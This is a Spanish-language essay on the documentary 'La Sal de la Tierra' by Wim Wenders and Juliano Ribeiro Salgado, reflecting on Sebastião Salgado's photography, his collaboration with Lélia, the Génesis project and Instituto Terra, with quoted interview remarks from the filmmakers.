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De la Sal de la Tierra.

Por Geraldine Martínez González

 

“Film is really a gut feeling. That’s so important. What’s right, what’s wrong, it comes from your gut. And then, when you’re two people, having gut feelings, it’s suddenly providence.” Juliano Ribeiro Salgado

 

El documental La Sal de la Tierra es transmitido por primera vez en Cannes en el año 2014. Wim Wenders y Juliano Ribeiro Salgado (Juliano) cuentan en él, básicamente, la trayectoria profesional del fotógrafo brasileño Sebastião Salgado (Sebastião) aunada a las resonancias que tuvieron con ella su formación académica, política y su historia personal. Con la voz en off del fotógrafo nos llevan, en lengua y entonación francesa, a las historias que atraviesan sus fotografías; entre tanto, las fotografías se suceden en la pantalla y permanecen allí, cada una, algunos segundos.

El documental va con la lentitud necesaria para la apreciación estética de cada fotografía y con los justos detalles históricos para adentrarse en las aventuras de Sebastião desde los años setenta junto a su esposa Lélia. Sebastião está sentado frente a sus fotografías dentro de un cuarto totalmente oscuro. Las fotos se muestran en una pantalla de un par de metros e imprimen un poco de su luz en el rostro de Sebastião. La única luz dentro del cuarto es la que proyecta sus fotos, la luz que alguna vez capturó; lo demás, sombra y oscuridad. Cuando se pasa de una fotografía a otra hay un instante de oscuridad total: no hay nada que rompa la intimidad entre Sebastião y las fotos. Las fotografías le iluminan el rostro y le dan vida a su memoria.

Su voz es el único sonido en la habitación: Como si estuviera sólo, hablándose a sí mismo, delante de un espejo que cambia de tiempos y espacios y que viaja en sus recuerdos y experiencias expresadas a través de las historias que va contando y que animan las fotografías. En realidad, dentro de la oscura habitación hay un par de cámaras, grabadoras de sonido y Wenders quien de vez en cuando hace algunas preguntas mientras va sucediendo las imágenes. Hay una cámara que Sebastião no ve pero que está frente a él al igual que la pantalla.

De vez en cuando vemos el rostro de Sebastião que se superpone como una capa en movimiento sobre la foto fija y va narrando la historia posible. El rostro de Sebastião y la foto son una sola imagen. Una metodología simple que nos sumerge en las intensidades de Sebastião, en la indistinción entre su vida y obra, y lo revela no sólo como fotógrafo sino como gran contador de historias.

Con ellas, enciende las imágenes en una mezcla de socio geografía, economía, política, filosofía y literatura desde un lenguaje pausado y poético que nos insiste en la humanidad contenida en esas formas a blanco y negro.

Nos explica Wenders:

“I invented a whole different situation where he was completely undisturbed by cameras or my presence or the sound engineer. We invented this darkroom. He saw nothing. It was just dark walls, and in front of him, there was just the screen and on the screen we projected his own photographs. So, he only had his own pictures in front of him. That screen was really similar to a teleprompter. It was a semi-transparent screen like newscasters use so they can read their text while they look into the camera, and we all think they know it by heart, but they’re reading it. We turned it around and made it function differently. His pictures were on there, and he could look at them and just be in these pictures in his memory and talk about it. And while he was doing that, he was looking into the camera. So, he had a very intimate relationship with his pictures and the audience, and he didn’t see me. I knew all the stories, or at least most of them. I was able to control the flow of the pictures, switch to the next one, and every now and then ask a question, but he didn’t see me. It allowed him to really remain in the experience and that was much more intense.”

El encuentro Wenders encuentra una de las fotografías de Sebastião (supongamos que su mirada estaba ya buscando la obra de Salgado, de alguna manera) en una galería; una encantadora coincidencia.

Le resulta fascinante. Es la foto de centenares de hombres en la mina de oro más grande de Brasil, sentados, cargando cosas, casi colgados de paredes de tierra ubicadas por segmentos; el primer plano de la foto es un hombre joven recostado en su espalda sobre una tabla de madera o un pedazo de tronco, descubierto su pecho huesudo, semejando otra época, como un cristo recién bajado de la cruz o a punto de ser colgado, con una tranquilidad impotente.

“Realmente he viajado al principio de los tiempos allí”, dice Sebastião acerca de su experiencia fotográfica en esta mina. Es acerca de ella las palabras que inauguran la voz de Sebastião en el documental. A partir de esta casual coincidencia se da el encuentro que despertaría en Wenders la fascinación por la obra del fotógrafo y que le llevaría luego a conocerlo. Más tarde, Juliano invitaría a Wenders a hacer parte del homenaje documental a la obra de su padre.

 

Los hombres que retrata Sebastião en esta mina de Brasil están allí en busca de oro; Salgado se une a ellos no por el oro en esta mina.

Sin embargo, conoce la historia colectiva por la que ellos están allí; en su experiencia va a comprender los riesgos, los sueños, el esfuerzo que hacen estos hombres con su cuerpo y su voluntad, sus sonrisas, su cotidianidad; él mismo las vive, las observa, las retrata, las manifiesta en su verdad con una técnica fotográfica limpia y delicada. Sus fotografías no son simples dibujos con luz, en ellas se cuentan historias que podríamos imaginar o saber, pero que en este documental nos son narradas de primera mano.

La belleza del arte de Sebastião se basa en que, junto con un manejo de la técnica fotográfica, conoce y vive lo que retrata. Wenders:

“He probably would protest already right here, because I don’t think he sees himself as an artist or he knows he’s a photographer. But me, as an outsider, I can say that he certainly did become an artist in the course of his life, and because of the work and the time he invested, and the way he trained his eye, he did become an artist. But in his artistry, it was never his vision that mattered to him. It was only entirely the people he dealt with, and that was what it was all about. It was never about cool framing or a beautiful shot. It was only about the truth of the situation and the respect he had for the people he photographed. For him, I think beauty is not even a subject. In the year and a half we shot, he never brought up any aesthetic subject because it doesn’t matter to him. He really only cares about how are these people represented, and for him, that’s the only relation he has to it. He does invest a lot of work in the prints. And of course, he has developed his eye and he sees things.”

El encuentro de Sebastião con la fotografía está rodeado también de un aura poética. Está en Francia junto a su esposa Lélia, el amor de su vida. Ella compra una cámara fotográfica para una tarea académica. No es ella quien aprovecha la cámara, es en cambio Sebastião con quien surge una atracción inmediata. Su primera fotografía es de Lélia. Ella es para él más que una esposa convencional que acompaña a su esposo en su trabajo; son compañía, co-crean juntos. Gracias a Lélia, Sebastião toca su primera cámara, toma su primera foto a los 30 años. Es esta primera máquina la que lo va acercando a su real vocación, la cual descubre con las primeras fotografías que realiza en sus viajes como economista (su primera profesión). Luego, va a ser con Lélia con quien tomarán la decisión de que Sebastião se dedique de lleno a su pasión por la fotografía y, a su vez, con quien co-creará sus aventuras y proyectos. Como joven madre y ante la incomodidad que los viajes representarían para ella y el pequeño Juliano, trabajará desde la oficina diseñando y configurando exposiciones, muestras, publicaciones de los proyectos fotográficos de Sebastião: Juntos conciben lo que hoy conocemos como la obra de Sebastião Salgado.

De nuevo, Wenders:

“I think it was a little difficult for us to really give her the part because in a strange way she didn’t want it. She had always been behind the photography, and she’d always been the mastermind of the journeys and did the research. She had done the books and edited the exhibitions. In the course of shooting the film, it became obvious that their collaboration was so strong and their relationship was the core of his artistry. So how could we forget her, or at least indicate what her place in the story was? But it was difficult.”

Ahora bien, La Sal de la Tierra es un título de por sí sonoro, no por ello vano.

Con él podríamos dividir la obra de Salgado en dos: en un primer momento la Sal, luego la Tierra. La Sal No es una metáfora nueva la que une la sal a los hombres. Han sido comparados muchas veces con este primer condimento de la humanidad. La sal ha marcado, también, su gusto, su paladar, sus deseos, su lengua. Los hombres se han llamado así mismos La Sal de la Tierra, su condimento esencial; tal cual se ha acostumbrado la sal para cualquier comida desde hace siglos. Siguiendo la propuesta de los directores en el título del documental diríamos que entendemos la sal como aquello que se nombra diferente a la Tierra y que la matiza. La Tierra, una amalgama de ecosistemas, con su prisma de colores y tonalidades, vendría siendo una unidad en sí misma; la sal sería aquello diferente a ella. La acumulación de cristales blancos y diminutos que, esparcidos por su superficie, le darían sabor, siendo foco en la difusa composición de blancos y negros de la Naturaleza dentro de las fotografías de Sebastião.

La sal vendría siendo la acción, la sociedad humana, las formas que dentro de las fotografías son el primer plano de las historias y que, a su vez, establecen una relación esencial con el entorno o el ecosistema que le rodea para estar en ese instante y de esa justa manera en que se revela a la cámara. La sal: “Sus fotografías del hambre en África, de la lucha impotente de bomberos contra el fuego espectacular de las torres de petróleo en Kuwait tras la Guerra del Golfo Pérsico, de los desplazados de la guerra en Etiopía y del genocidio en Ruanda: su tema constante son los afanes y las necesidades –pero también, una y otra vez, el empeño de supervivencia– de la gente en el llamado “Tercer Mundo””.

Sebastião logra capturar esa sal que no se le diluye en las manos. El instante no se le escapa. Sebastião no sólo es un fotógrafo y reportero meticuloso, es también un humano de una sensibilidad excepcional que se acerca a las personas, se adentra en ellas (personas, comunidades, historias), las vive; poseedor de una sensibilidad y un carisma a las que los humanos se muestran, se exponen, se abren sin temor y transparentes.

Sebastião revela la belleza de su mirada a través de sus fotografías, con la exactitud con la que desenvuelve su técnica y por la narración prudente que hace de cada una de estas historias a través de su voz en el documental. Su narración parece un guion delicadamente previsto, con palabras finamente escogidas, una declamación de la belleza, el horror, la épica humana. Sebastião mira y desde allí pinta sus obras. Con su manera de ver Sebastião toca, sus fotos son una superficie que, en el juego de blancos y negros, contienen volúmenes; las formas (cuales sean) muestran bordes delicados y redondeados que se dejan acariciar mirándolos. En definitiva, la obra de Sebastião, deviene sinestesia entre tacto y mirada. Una profunda ternura, casi maternal, que roza las personas, las toca suavemente siendo caricia, que no se entromete y que, sin embargo, abraza. Hay algo en la fotografía de Sebastião, en su manera de ver, que despoja a las personas de miedo o esperanza y las muestra en su plena presencia, algo en su mirada acaricia.

La Tierra Génesis, su último proyecto fotográfico, va en búsqueda de paisajes y lugares prístinos, puros podría decirse. Sin intervención humana o con apenas poca.

De la fotografía social, que atraviesa su obra, Sebastião se aventura a Génesis como un riesgo para su carrera y la imagen que de él se tiene como fotógrafo social. Génesis será otra manera de ver el mundo, el planeta, desde una mirada esperanzadora y despojada de la fatalidad humana. La Sal de la Tierra se filma en sincronía con Génesis. Juliano acompaña a su padre los diez años que tarda Génesis en hacerse y captura al fotógrafo ejerciendo su profesión: el lente le devuelve la mirada. Allí está el fotógrafo en el momento de tomar las fotografías, sus maneras de adentrarse y alejarse de los personajes y los entornos, de buscar la luz y la esencia que brinda el instante preciso. Se muestra a Sebastião como parte de la historia que él mismo está fotografiando: mezclado con el paisaje, entre el humo de las fogatas, como un nativo más de comunidades ancestrales con las que se comunica en un lenguaje, al parecer universal, de señas, imágenes, sonrisas, gestos; casi desapercibido.

Arrastrándose por las playas rocosas como los leones marinos a los que retrata, poniendo su mano en comparación con la de una iguana, evidenciando el respeto a una tortuga, ser antiquísimo que reconoce como su ancestro y que, fotografiándola desde abajo, muestra soberana y divina. En Génesis vemos la esencialidad de la obra de Sebastião, se mezcla, se confunde, deja de ser para mostrar, en su verdad, eso que retrata: personas, animales, comunidades, guerras, masacres, viajes. “The reality is that in the travels, Sebastião is so focused, so into his work, so concentrated that there’s not much dialogue. You can see him be the photographer, the man who meets other people, but it’s not happening in between us. It’s happening with the other people.”  Cuenta Juliano acerca de la experiencia de filmar al fotógrafo, su padre.

Génesis devuelve a Sebastião a su manera primaria de ver.

Es su último proyecto y, sin embargo, explica que es la Tierra, la gran cadena montañosa que observaba en su adolescencia junto a su padre lo que marca su manera de ver. La excepcionalidad de cada fotógrafo es su manera de ver que, para el caso suyo, aprendió en aquel paisaje, todo bosque, escalando la montaña sólo para ver y soñar (atravesar esas montañas). En palabras de Wenders: “I just realized I wanted to go there. I wanted to film him there, because it was so important in his life. It didn’t have to do with photography, I thought, and only later I realized that it had a lot to do with photography, because this man would not have survived as a photographer without nature calling him back.”

Génesis es también el espejo fotográfico de otro de sus proyectos familiares: Instituto Terra. En este proyecto, como en todos los demás, va de la mano de su esposa Lélia, pero esta vez no de la fotografía.

Ante la devastación y sequía con que se encuentran al regresar después de muchos años a la finca de su padre y los alrededores de esta, culpa de la ganadería y la tala de bosques, a Lélia se le ocurre reforestar toda esta zona con árboles nativos. Es un proyecto que llevan a cabo juntos, al igual que sus proyectos documentales y que, hasta la actualidad, ha reforestado grandes hectáreas de bosque que ya no pertenecen a la familia Salgado sino a la propia Tierra, como ambos afirman, y que demuestra que es posible retornar ecosistemas enteros. Instituto Terra y Génesis son dos maneras de expresar la misma intención: un homenaje a la Tierra como bien expresa en estas palabras: “A través de nuestro trabajo ambiental descubrí la riqueza de las otras especies, entendí que, por ejemplo, los trabajos de las hormigas son quizá más grandes que el mío”.

El documental se desenvuelve como un volver: Vuelve Sebastião a Brasil, la tierra donde nace; vuelve a su lengua materna: Sólo hasta los últimos minutos del documental Sebastião habla en portugués refiriéndose, mientras acaricia, a un helecho que le recuerda los cabellos de su madre; vuelve a contar sobre el origen de su vocación como fotógrafo social, documental y de naturaleza; vuelve a su infancia relatando sus primeras experiencias en la tierra de su madre y su padre; vuelve su mirada desde la historia de la humanidad hacia los signos de los albores de la Tierra, lugares y seres arcanos; vuelve a la eternidad de sus ancestros, árboles, tortugas, leones marinos, iguanas, elefantes; devuelve a la Tierra sus ecosistemas nativos; vuelve a la Tierra como se vuelve al cuidado maternal cuando se está enfermo. Sebastião estaba enfermo de la realidad hostil y de extrema violencia humanos documentados en sus proyectos Éxodos (2000) La mina de oro de Serra Pelada (1999), Otras Américas (1999), Terra (1997), Trabalhadores (1996), La Mano del Hombre (1993), etc. Vuelve a la Tierra buscando remedio: “La alegría de ver crecer los árboles, los brotes resurgiendo, hizo resurgir la pasión de Sebastião por la fotografía”, cuenta Wenders.

Deciden entonces hacerle un homenaje al planeta desde el descubrimiento de que “Casi la mitad del planeta sigue como el día del Génesis”. “Génesis hizo que Sebastião volviera a viajar por el mundo durante casi una década. Iba a mostrarnos naturaleza, animales, lugares y gentes que vivían como al principio de los tiempos. Una visión mucho más optimista del mismo planeta que Sebastião había contemplado: herido y destruido. Génesis iba a ser su gran proyecto”. Y lo fue, pequeño espejo de lo que antes dijimos como Instituto Terra y que ha sido su último y gran proyecto.♦

BIBLIOGRAFÍA – La Sal de la Tierra. Documental. 2014. – Entrevista a Salgado por Hernán D. Caro en http://www.revistaarcadia.com/impresa/arte/articulo/el-fotografo-sebastiaosalgado/42559 – Entrevista a Wenders y Juliano por Sheila Roberts en http://collider.com/wimwenders-juliano-ribeiro-salgado-salt-of-the-earth-interview/

 

♣Geraldine Martinez es escritora, participa en Interference desde el 2015.

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